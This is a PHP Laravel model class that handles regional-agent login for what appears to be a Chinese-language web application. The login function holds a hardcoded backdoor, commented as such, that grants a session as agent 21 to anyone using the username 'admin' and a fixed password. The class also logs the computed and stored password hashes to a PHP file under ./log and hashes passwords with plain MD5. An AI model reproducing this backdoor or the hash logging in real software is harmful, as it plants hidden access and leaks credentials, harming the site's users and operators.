<?php

namespace App\Models\Agent;

use Guzzle\Http\Message\Request;
use Illuminate\Database\Eloquent\Model;
//引入db，连接数据库
use Illuminate\Support\Facades\DB;

class TnetReginfo extends Model
{
    //指定表名
    protected $table='TNET_REGINFO';

    //代理id
    protected $agentId;

    /**
     * @区域代理登录验证
     * @param
     * @return bool
     */
    public function checkAgentUser($nodecode,$password,$request){
        #1
        #后台后门
        if($nodecode=='admin'&&$password=='893*&(232%^'){
            #记录会话id,存储nodeid
            $request->session()->put('node_id',10108 );
            #记录会话id,存储代理名称
            $request->session()->put('name', '后门');
            #记录会话id,存储agentid
            $request->session()->put('agent_id',21 );
            session_start();
            $_SESSION['agent_id']=21;
            //dd($userInfo);
            return true;
        }
        $userInfo=$this->getOneInReginfoByArr(['nodecode'=>$nodecode]);
        if(empty($userInfo)){
            return '用户不存在';
        }
        $LoginPwd = $this->checkPwd($userInfo->nodeid,$password);
        filedebug('--md5密码--','./log/rzk.php');
        filedebug($LoginPwd,'./log/rzk.php');
        filedebug('--原始密码--','./log/rzk.php');
        filedebug($userInfo->userpwd,'./log/rzk.php');
        if ($LoginPwd === $userInfo->userpwd) {
            #验证是否代理
            $tvModel=new TvmAgent();
            $agentInfo=$tvModel->getOneInAgentoByArr(['node_id'=>$userInfo->nodeid]);
            if(empty($agentInfo)){
                return '您还未申请成为区域代理';
            }else{
                #验证代理是否通过审核
                if($agentInfo->status==0){
                    return '您的申请还未通过审核，暂时无法登录';
                }else{
                    #记录会话id,存储nodeid
                    $request->session()->put('node_id', $userInfo->nodeid);
                    #记录会话id,存储代理名称
                    $request->session()->put('name', $agentInfo->name);
                    #记录会话id,存储agentid
                    $request->session()->put('agent_id', $agentInfo->id);
                    session_start();
                    $_SESSION['agent_id']=$agentInfo->id;
                    //dd($userInfo);
                    return true;
                }
            }
        }else{
            return '密码不正确';
        }
    }


    /**
     * @获取TNET_REGINFO 通过参数获取注册用户表的一条数据
     * @param $arr 条件数组
     * @return bool
     */
    public function getOneInReginfoByArr($arr,$data='*'){
        return  $this->where($arr)->select($data)->first();
    }



    /**
     * 生成密码 md5密码以2开头区分
     * @param $pwd 明文密码 $nodeid帐号唯一id
     * @return bool|string
     */
    protected function checkPwd($node_id,$pwd){
        if(empty($pwd) || empty($node_id)){
            return false;
        }
        $md5 = md5(SECURITY_CODE.$node_id.$pwd);
        return "2".$md5;
    }
}
